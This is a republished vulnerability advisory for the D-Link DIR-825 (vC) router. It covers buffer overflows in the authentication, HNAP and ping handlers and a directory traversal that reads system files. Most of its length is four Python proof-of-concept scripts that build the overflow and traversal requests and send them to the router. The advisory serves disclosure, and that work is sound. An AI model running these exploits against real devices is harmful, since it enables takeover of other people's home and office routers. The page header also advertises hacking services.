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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
## Advisory Information

Title: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal 

issue exists which can be exploited
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed 

issues as per the email communication. The vendor had also released the information on their security advisory 

pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly 

accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing 

this finding is not responsible for anyone using this information for malicious purposes. 

## Product Description

DIR-825 (vC) -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 4 security issues in DIR-825 firmware which allows an attacker to exploit buffer overflows in 

authentication, HNAP and Ping functionalities. first 2 of the buffer overflows in auth and HNAP  can be exploited 

by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack 

directly or using XSRF if not exposed. The ping functionality based buffer overflow and directory traversal would 

require an attacker to be on network and use XSRF to exploit buffer overflow whereas would require some sort of 

authentication as low privileged user atleast to exploit directory traversal.

## Details

Buffer overflow in auth 
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
287 + XXXX in query_string value, right now only working with Exit address as sleep address has bad chars which 

disallows from using regular shellcode directly
'''

buf = "GET /dws/api/Login?test="
buf+="B"*251
buf+="CCCC" #s0
buf+="FFFF" #s1
buf+="FFFF" #s2
buf+="FFFF" #s3
buf+="XXXX" #s4
buf+="HHHH" #s5
buf+="IIII" #s6
buf+="JJJJ" #s7
buf+="LLLL"
buf+="\x2a\xbc\x8c\xa0" # retn address
buf+="C"*24 #
buf+="sh;;" 
buf+="K"*20
buf+="\x2a\xc0\xd2\xa0" #s1
buf+="\x2a\xc0\xd2\xa0" #s1
buf

+="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCCCCCCCC"
buf+="&password=A HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml

+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------

----


Buffer overflow in HNAP
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
4138 + XXXX in SoapAction value, right now only working with Exit address as sleep address has bad chars which 

disallows from using regular shellcode directly
'''

buf = "POST /HNAP1/ HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="SOAPACTION:http://purenetworks.com/HNAP1/GetDeviceSettings/"+"A"*4138+"\x2a\xbc\x8c\xa0"+"D"*834+"\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 

Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: uid:1111;\r\n"
buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------

----

Directory traversal 
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
Useful to do directory traversal attack which is possible in html_response_page variable below which prints the 

conf file, but theoretically any file, most likely only after login accessible
'''
payload="html_response_page=../etc/host.conf&action=do_graph_auth&login_name=test&login_pass=test1&login_n=test2&l

og_pass=test3&graph_code=63778&session_id=test5&test=test"
buf = "POST /apply.cgi HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 

Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: session_id=test5;\r\n"
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"
buf+=payload+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
------------------------------------------------------------------------------------------------------------------

----


Buffer overflow in ping 
------------------------------------------------------------------------------------------------------------------

----
import socket
import struct


'''
282 + XXXX in ping_ipaddr value, right now only working with Exit address as sleep address has bad chars which 

disallows from using regular shellcode directly
'''
payload="html_response_page=tools_vct.asp&action=ping_test&html_response_return_page=tools_vct.asp&ping=ping&ping_

ipaddr=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"+"\x2a\xbc\x8c\xa0"+"CCXXXXDDDDEEEE&test=test"
buf = "POST /ping_response.cgi HTTP/1.1\r\n"
buf+= "Host: 10.0.0.90\r\n"
buf+="Proxy-Connection: keep-alive\r\n"
buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n"
buf+"Cache-Control: max-age=0\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 

Safari/537.36\r\n"
buf+="Accept-Encoding: gzip,deflate,sdch\r\n"
buf+="Accept-Language: en-US,en;q=0.8\r\n"
buf+="Cookie: session_id=test5;\r\n"
buf+="Content-Length: "+str(len(payload))+"\r\n\r\n"
buf+=payload+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
soc=s.recv(2048)
print soc
 
------------------------------------------------------------------------------------------------------------------

----

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley